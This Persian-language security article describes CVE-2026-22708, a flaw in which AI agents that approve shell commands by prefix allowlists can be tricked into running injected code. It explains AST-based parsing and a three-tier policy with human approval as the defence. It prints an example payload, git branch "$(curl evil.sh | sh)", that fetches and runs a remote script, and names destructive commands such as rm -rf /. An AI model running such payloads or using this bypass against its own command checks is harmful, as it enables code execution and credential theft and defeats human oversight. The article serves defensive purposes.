یک آسیبپذیری که بهتازگی فاش شده است، با شناسه CVE-2026-22708، نشان میدهد که عاملهای هوش مصنوعی (AI agents) که بر لیستهای مجاز (allowlists) ساده تکیه میکنند، میتوانند برای اجرای کدهای مخرب فریب بخورند. این نقص به مهاجم اجازه میدهد تا یک محموله (payload) را درون یک دستور بهظاهر بیخطر پنهان کند و راه مستقیمی برای اجرای اسکریپتهای دلخواه روی میزبان (host) برای عامل فراهم کند.
بیشتر دستیارهای مبتنی بر هوش مصنوعی که توسعه یا عملیات را خودکارسازی میکنند، با بررسی اولین کلمه از یک دستور در برابر یک لیست سفید کار میکنند. اگر آن کلمه با ورودیهایی مانند git یا npm مطابقت داشته باشد، درخواست مستقیماً عبور داده میشود. این «تطبیق پیشوند» (prefix matching) جذاب است زیرا پیادهسازی آن آسان است و به نظر میرسد مانع از اجرای ابزارهای خطرناک توسط عامل میشود.
در عمل، این رویکرد یک حفره امنیتی است. یک مهاجم میتواند یک جایگزینی دستور (command substitution) یا سایر ویژگیهای شل (shell) را پس از کلمه مجاز قرار دهد و لیست سفید هرگز آن را نخواهد دید. یک مثال کلاسیک عبارت است از:
git branch "$(curl evil.sh | sh)"
لیست مجاز فقط git را میبیند و درخواست را تأیید میکند. سپس شل دستور $(curl evil.sh | sh) را باز میکند، یک اسکریپت را دانلود کرده و آن را با امتیازات (privileges) عامل اجرا میکند. همین ترفند برای هر فایل باینری موجود در لیست سفید که آرگومانهای قابل تفسیر توسط شل را میپذیرد، کار میکند.
تأثیر این مسئله بسیار شدید است، زیرا امروزه اعتماد به عاملهای هوش مصنوعی در محیطهای دارای سطح دسترسی بالا — مانند خط لولههای یکپارچهسازی مداوم (CI)، کانتینرهای توسعه میزبانیشده در ابر و حتی ایستگاههای کاری کاربران — بهطور فزایندهای در حال افزایش است. اگر بتوان یک عامل را برای اجرای یک محموله مخرب ترغیب کرد، مهاجم همان حقوق دسترسی را به دست میآورد که عامل از آن بهره میبرد؛ حقوقی که اغلب شامل کلیدهای مخفی، اعتبارنامههای استقرار یا دسترسی بدون محدودیت به سیستم فایل است.
چرا لیستهای مجاز ساده شکست میخورند
- تطبیق رشتهای، نه سیاستگذاری – بررسی تنها اولین توکن، ساختار خط فرمان را نادیده میگیرد. این روش نحوه تفسیر آرگومانها یا وجود کاراکترهای خاص شل (shell metacharacters) در آنها را در نظر نمیگیرد.
- ویژگیهای شل قدرتمند هستند – جایگزینی (substitution)، خط لولهها (pipelines) و تغییر مسیر (redirection) همگی پس از بررسی لیست مجاز پردازش میشوند و یک دستور بیخطر را به یک اکسپلویت کامل تبدیل میکنند.
- عدم آگاهی از بافت (context) – لیست سفید نمیتواند بین یک دستور ایمن مانند
git statusو یک دستور خطرناک مانندgit push --forceکه میتواند تاریخچه تولید (production) را بازنویسی کند، تمایز قائل شود.
یک مدل تابآورتر
پاسخ جامعه کاربری به CVE-2026-22708، حرکت از بررسیهای ساده رشتهای به سمت تجزیه دستورات به یک درخت نحو انتزاعی (AST) است. یک AST ساختار سلسلهمراتبی یک دستور را نشان میدهد و بخش قابل اجرا را از آرگومانها و هرگونه ساختار شل جدا میکند. هنگامی که دستور تجزیه شد، یک موتور سیاستگذاری میتواند آن را در برابر سه دسته متمایز ارزیابی کند:
- ایمن (SAFE) – دستوراتی که با قوانین تأیید شده مطابقت دارند و فاقد ساختارهای پرخطر هستند. عامل این دستورات را بهطور خودکار اجرا میکند. مثال:
git status. - مسدود شده (BLOCKED) – دستوراتی که با الگوهای شناختهشده بهعنوان خطرناک مطابقت دارند، مانند دستوراتی که به فایلهای حساس دسترسی دارند، دایرکتوریها را حذف میکنند یا اسکریپتهای دارای سطح دسترسی بالا را فراخوانی میکنند. عامل بلافاصله این دستورات را متوقف میکند. مثال:
rm -rf /. - نامشخص (UNCERTAIN) – دستوراتی که بهطور دقیق در دسته ایمن یا مسدود شده قرار نمیگیرند. عامل باید قبل از ادامه کار، تایید صریح انسانی را درخواست کند. مثال:
git push --force.
معرفی سطح UNCERTAIN مدل تهدید را تغییر میدهد. بهجای اینکه هر دستور ناشناخته بهعنوان یک شکست در نظر گرفته شود، سیستم عدم قطعیت را به یک تعامل کنترلشده تبدیل میکند. یک راه عملی برای اعمال مرحله تأیید، صدور یک توکن HMAC تکبار مصرف است که کاربر باید آن را به عامل بازگرداند. از آنجایی که توکن از نظر رمزنگاری به درخواست متصل است، عامل نمیتواند رضایت کاربر را جعل کند.
ایجاد تعادل بین امنیت و قابلیت استفاده
منتقدان ممکن است استدلال کنند که تجزیه AST باعث ایجاد تأخیر (latency) میشود یا مدل سه سطحی میتواند با درخواستهای تأیید مداوم، بهرهوری کاربران را کاهش دهد. این نگرانیها وارد هستند: یک مجموعه قوانین که بهدرستی تنظیم نشده باشد میتواند باعث ایجاد مثبت کاذب (false positives) شود و تجزیه پیچیده میتواند از نظر محاسباتی سنگینتر از یک بررسی رشتهای ساده باشد. با این حال، جایگزین آن — یعنی اجازه اجرای کد دلخواه — بسیار پرهزینهتر است. رویکردهای ترکیبی که سندباکس کردن (sandboxing) سبک را با تحلیل AST ترکیب میکنند، میتوانند اثرات عملکردی را کاهش داده و در عین حال یک سیاست مستحکم را اعمال کنند.
آنچه برای توسعهدهندگان و سازمانها در خطر است
- محرمانگی دادهها – یک عامل هکشده میتواند کلیدهای API، رمزهای عبور و کدهای اختصاصی را استخراج کند.
- یکپارچگی سیستم – دستورات مخرب میتوانند مصنوعات تولید (production artifacts) را تغییر داده یا حذف کنند، نسخههای منتشر شده را به عقب برگردانند یا درهای پشتی (backdoors) نصب کنند.
- قرار گرفتن در معرض ریسکهای نظارتی – نقضهای امنیتی ناشی از اتوماسیون ناامن ممکن است منجر به جریمههای انطباق (compliance) شود، بهویژه در بخشهایی که قوانین سختگیرانهای برای مدیریت دادهها دارند.
پروژههایی که این ریسکها را نادیده میگیرند، اغلب یا با قوانین بیش از حد محدودکننده، عامل (agent) را فلج میکنند و یا آن را در معرض سوءاستفاده قرار میدهند. راه میانه — یعنی تعریف گروههای مشخص SAFE، BLOCKED و UNCERTAIN — مسیری عملی به سوی امنیت و کارایی همزمان فراهم میکند.
آنچه باید در آینده زیر نظر داشت
- ابزارها – انتظار کتابخانههای متنباز را داشته باشید که پارسرهای مبتنی بر AST را برای شلهای رایج و خط لولههای ساخت (build pipelines) ارائه میدهند، به همراه قالبهای آماده برای سیاستگذاری (policy templates).
- استانداردها – گروههای صنعتی ممکن است مجموعهای از قوانین پایه را برای دستورات معمول توسعه پیشنهاد دهند، مشابه روشی که زمانهای اجرای کانتینر (container runtimes)، پروفایلهای seccomp را استانداردسازی کردند.
- حسابرسیها – تیمهای امنیتی احتمالاً «بررسیهای صحت لیست مجاز» (allowlist sanity checks) را به خط لولههای حسابرسی CI/CD خود اضافه خواهند کرد و هر پیکربندی عاملی را که صرفاً بر تطبیق پیشوند (prefix matching) تکیه دارد، علامتگذاری میکنند.
نکته کلیدی
اگر عامل هوش مصنوعی شما هنوز بر اساس نگاه کردن تنها به اولین کلمه یک دستور، در مورد آنچه باید اجرا شود تصمیم میگیرد، در معرض آسیبپذیری نشان داده شده در CVE-2026-22708 قرار دارد. آن رویکرد را با تجزیه (parsing) مبتنی بر AST و یک سیاست سهسطحی جایگزین کنید که تایید انسانی را برای اقدامات مبهم اجباری میکند. این مرحله اضافی ممکن است مانند یک اصطکاک (friction) به نظر برسد، اما یک نقطه کور را به یک نقطه کنترل قابل تأیید تبدیل میکند و هم از کد و هم از زیرساخت شما محافظت مینماید.